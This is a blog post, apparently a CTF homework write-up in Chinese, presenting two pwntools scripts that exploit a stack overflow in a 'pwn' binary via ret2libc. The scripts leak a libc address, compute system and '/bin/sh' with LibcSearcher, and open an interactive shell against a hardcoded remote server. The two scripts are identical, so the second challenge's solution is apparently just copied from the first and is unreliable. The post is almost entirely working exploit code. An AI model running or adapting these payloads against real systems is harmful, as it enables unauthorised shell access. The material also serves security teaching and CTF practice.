zoukankan      html  css  js  c++  java
  • 掘安作业二

    思路:有低级魔法和高级魔法两部分,经分析,在选项四处存在栈溢出漏洞,两题目我都使用了ret2libc的方法,成功获得shell。

    低级魔法脚本:

    # -*- coding:utf-8 -*-

    from pwn import *

    from LibcSearcher import *

    context.log_level = "debug"

    elf = ELF("pwn")

    debugg=1 #0表示远程调试,1表示本地调试

    sh = 0.

    lib = 0

    def pwn(ip,port,debug):

           global sh

           global lib

          

           if(debug == 1):

                  sh = process("./pwn")

           else:

                  sh = remote(ip,port)

                  #lib = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")

           #catFlag = 0x08048847

           offset = 22

           sh.recv()

           sh.sendline("4")

           sh.recvuntil("You are one step short of success ")

          

        payload1=offset*'a'+p32(elf.plt['puts'])+p32(0x0804862E)+p32(elf.got['__libc_start_main'])

           sh.send(payload1)#应该将send改为sendline

           addr__libc_start_main=u32(sh.recv(4))#获取本程序进程中__libc_start_main的地址

          

           obj = LibcSearcher("__libc_start_main", addr__libc_start_main)#libcsearch大法启动

           baseaddr_libc=addr__libc_start_main-obj.dump("__libc_start_main")

           addr_system=baseaddr_libc+obj.dump("system")#获得sytem地址

           addr_binsh=baseaddr_libc+obj.dump("str_bin_sh")#获得/bin/sh的地址

           #print addr_system

           #print addr_binsh

           #addr_read=baseaddr_libc+obj.dump("read")

           sh.sendline("4")

           sh.recv()

           #addr_bss=0x0804a040

           #pppr=0x0804876d

    #payload2=offset*"a"+p32(elf.plt['read'])+p32(pppr)+p32(0)+p32(addr_bss)+p32(8)+p32(addr_system)+p32(0x11111111)+p32(addr_bss) #/bin/shx00 共8个字节

           payload2=offset*'a'+p32(addr_system)+p32(0x11111111)+p32(addr_binsh)

           sh.sendline(payload2) 

           #sh.send("/bin/shx00")

           sh.interactive()

          

    if __name__ == "__main__":

           pwn("101.132.100.243",10011,debugg)

    高级魔法脚本:

    # -*- coding:utf-8 -*-

    from pwn import *

    from LibcSearcher import *

    context.log_level = "debug"

    elf = ELF("pwn")

    debugg=1 #0表示远程调试,1表示本地调试

    sh = 0.

    lib = 0

    def pwn(ip,port,debug):

           global sh

           global lib

          

           if(debug == 1):

                  sh = process("./pwn")

           else:

                  sh = remote(ip,port)

                  #lib = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")

           #catFlag = 0x08048847

           offset = 22

           sh.recv()

           sh.sendline("4")

           sh.recvuntil("You are one step short of success ")

          

        payload1=offset*'a'+p32(elf.plt['puts'])+p32(0x0804862E)+p32(elf.got['__libc_start_main'])

           sh.send(payload1)#应该将send改为sendline

           addr__libc_start_main=u32(sh.recv(4))#获取本程序进程中__libc_start_main的地址

          

           obj = LibcSearcher("__libc_start_main", addr__libc_start_main)#libcsearch大法启动

           baseaddr_libc=addr__libc_start_main-obj.dump("__libc_start_main")

           addr_system=baseaddr_libc+obj.dump("system")#获得sytem地址

           addr_binsh=baseaddr_libc+obj.dump("str_bin_sh")#获得/bin/sh的地址

           #print addr_system

           #print addr_binsh

           #addr_read=baseaddr_libc+obj.dump("read")

           sh.sendline("4")

           sh.recv()

           #addr_bss=0x0804a040

           #pppr=0x0804876d

    #payload2=offset*"a"+p32(elf.plt['read'])+p32(pppr)+p32(0)+p32(addr_bss)+p32(8)+p32(addr_system)+p32(0x11111111)+p32(addr_bss) #/bin/shx00 共8个字节

           payload2=offset*'a'+p32(addr_system)+p32(0x11111111)+p32(addr_binsh)

           sh.sendline(payload2) 

           #sh.send("/bin/shx00")

           sh.interactive()

          

    if __name__ == "__main__":

           pwn("101.132.100.243",10011,debugg)

  • 相关阅读:
    鼠标移开事件(onmouseout)
    IOS iPhone 屏幕尺寸 判断设备屏幕尺寸、分辨率
    iOS 程序图标Logo设置
    关闭iOS虚拟键盘的几种方法
    Xcode5.1离线下载安装及使用iOS5模拟器进行开发调试的方法
    按钮创建
    Mac 截图 快捷键
    UserDefaultes 数据存储使用
    NSUserDefaults 使用方法
    IOS中NSUserDefaults的用法(轻量级本地数据存储)
  • 原文地址:https://www.cnblogs.com/HYWZ36/p/11254938.html
Copyright © 2011-2022 走看看